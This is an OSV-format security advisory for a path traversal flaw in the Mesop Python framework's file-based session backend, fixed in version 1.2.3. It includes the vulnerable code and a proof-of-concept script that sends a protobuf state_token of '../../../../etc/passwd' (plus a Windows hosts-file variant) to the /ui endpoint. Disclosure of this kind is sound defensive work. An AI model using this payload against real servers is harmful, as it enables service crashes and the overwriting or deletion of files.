{"id":"PYSEC-2026-411","summary":"Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion","details":"#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\n When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -\u003e Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n \n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\n headers = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n )\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\n print(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.","aliases":["CVE-2026-33054","GHSA-8qvf-mr4w-9x2c"],"modified":"2026-07-13T16:15:28.237924103Z","published":"2026-06-29T11:50:44.967175Z","references":[{"type":"WEB","url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33054"},{"type":"WEB","url":"https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b"},{"type":"PACKAGE","url":"https://github.com/mesop-dev/mesop"},{"type":"WEB","url":"https://github.com/mesop-dev/mesop/releases/tag/v1.2.3"},{"type":"PACKAGE","url":"https://pypi.org/project/mesop"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8qvf-mr4w-9x2c"}],"affected":[{"package":{"name":"mesop","ecosystem":"PyPI","purl":"pkg:pypi/mesop"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.2.3"}]}],"versions":["0.0.1","0.10.0","0.10.0rc0","0.10.0rc1","0.10.0rc2","0.11.0","0.11.0rc0","0.11.1","0.12.0","0.12.0rc0","0.12.1","0.12.10b1","0.12.10b2","0.12.10b3","0.12.10rc1","0.12.1rc0","0.12.2","0.12.3","0.12.3rc0","0.12.4","0.12.4rc0","0.12.5","0.12.5b1","0.12.5rc1","0.12.6","0.12.6rc1","0.12.7","0.12.7b1","0.12.7rc1","0.12.8","0.12.8b1","0.12.8rc1","0.12.9","0.12.9rc1","0.13.0","0.13.0rc1","0.14.0","0.14.1","0.14.1rc1","0.14.2b1","0.14.2b2","0.14.2rc1","0.14rc1","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.2","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.0rc0","0.9.0","0.9.0rc1","0.9.1","0.9.1rc1","0.9.2","0.9.2rc1","0.9.3","0.9.3rc0","0.9.4","0.9.4rc0","0.9.5","0.9.5rc0","1.0.0","1.0.0rc1","1.0.0rc2","1.0.1","1.0.1rc1","1.1.0","1.1.0rc1","1.1.1","1.1.1rc1","1.1.1rc2","1.1.1rc3","1.2.0","1.2.0rc1","1.2.1","1.2.1rc1","1.2.2","1.2.2rc1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/mesop/PYSEC-2026-411.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}